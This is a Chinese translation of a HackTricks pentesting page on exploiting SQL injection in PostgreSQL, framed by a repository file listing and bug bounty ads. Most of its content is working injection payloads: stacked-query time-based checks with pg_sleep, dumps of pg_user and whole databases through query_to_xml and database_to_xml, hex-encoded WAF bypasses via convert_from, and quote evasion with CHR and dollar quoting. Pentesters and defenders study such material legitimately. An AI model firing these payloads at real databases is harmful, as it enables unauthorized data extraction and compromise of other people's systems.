hacktricks/pentesting-web/sql-injection/postgresql-injection
2024-02-06 03:43:18 +00:00
..
big-binary-files-upload-postgresql.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:43:18 +00:00
dblink-lo_import-data-exfiltration.md Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:56:36 +00:00
network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:43:18 +00:00
pl-pgsql-password-bruteforce.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:43:18 +00:00
rce-with-postgresql-extensions.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:43:18 +00:00
rce-with-postgresql-languages.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated ['forensics/basic-forensic-methodology/pcap-inspection/usb-ke 2024-02-06 03:43:18 +00:00

PostgreSQL注入

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS Red Team Expert

支持HackTricks的其他方式


漏洞赏金提示注册Intigriti这是一家由黑客创建的高级漏洞赏金平台!立即加入我们,访问https://go.intigriti.com/hacktricks,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}


本页面旨在解释不同的技巧帮助您利用在postgresql数据库中发现的SQL注入漏洞并补充您可以在 https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md 上找到的技巧。

网络交互 - 特权升级、端口扫描、NTLM挑战响应泄露和数据泄露

PostgreSQL模块 dblink 提供了连接到其他PostgreSQL实例并执行TCP连接的功能。这些功能与COPY FROM功能结合使用可以实现特权升级、端口扫描和NTLM挑战响应捕获等操作。有关执行这些攻击的详细方法请查看如何执行这些攻击

使用dblink和大对象进行数据泄露的示例

您可以阅读此示例 查看一个CTF示例演示了如何将数据加载到大对象中然后将大对象内容泄露到函数dblink_connect的用户名中。

PostgreSQL攻击读/写、RCE、特权升级

查看如何从PostgreSQL中妥协主机并提升特权

{% content-ref url="../../../network-services-pentesting/pentesting-postgresql.md" %} pentesting-postgresql.md {% endcontent-ref %}

WAF绕过

PostgreSQL字符串函数

操纵字符串可能有助于绕过WAF或其他限制
在此页面 您可以找到一些有用的字符串函数。

堆叠查询

请记住PostgreSQL支持堆叠查询但是当期望只返回1个响应时多个应用程序会在返回2个响应时抛出错误。但是您仍然可以通过时间注入滥用堆叠查询

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

XML技巧

query_to_xml

此函数将以XML格式在一个文件中返回所有数据。如果您想要在一行中转储大量数据这将是理想选择

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

此函数将以 XML 格式在仅 1 行中转储整个数据库(如果数据库非常庞大,可能会导致 DoS 攻击,甚至影响您自己的客户端):

SELECT database_to_xml(true,true,'');

十六进制字符串

如果您可以运行查询并将它们作为字符串传递(例如使用**query_to_xml**函数)。您可以使用convert_from将字符串作为十六进制传递,从而绕过过滤器:

{% code overflow="wrap" %}

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

{% endcode %}

禁止使用引号

如果无法在负载中使用引号,您可以通过CHR来绕过这一限制,用于基本子句(字符连接仅适用于基本查询如SELECT、INSERT、DELETE等。它不适用于所有SQL语句:

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

或者使用$。这些查询返回相同的结果:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;


漏洞赏金提示注册Intigriti一个由黑客创建的高级漏洞赏金平台,为黑客而生!今天加入我们,开始赚取高达**$100,000**的赏金!

{% embed url="https://go.intigriti.com/hacktricks" %}

从零开始学习AWS黑客技术成为专家 htARTEHackTricks AWS红队专家

支持HackTricks的其他方式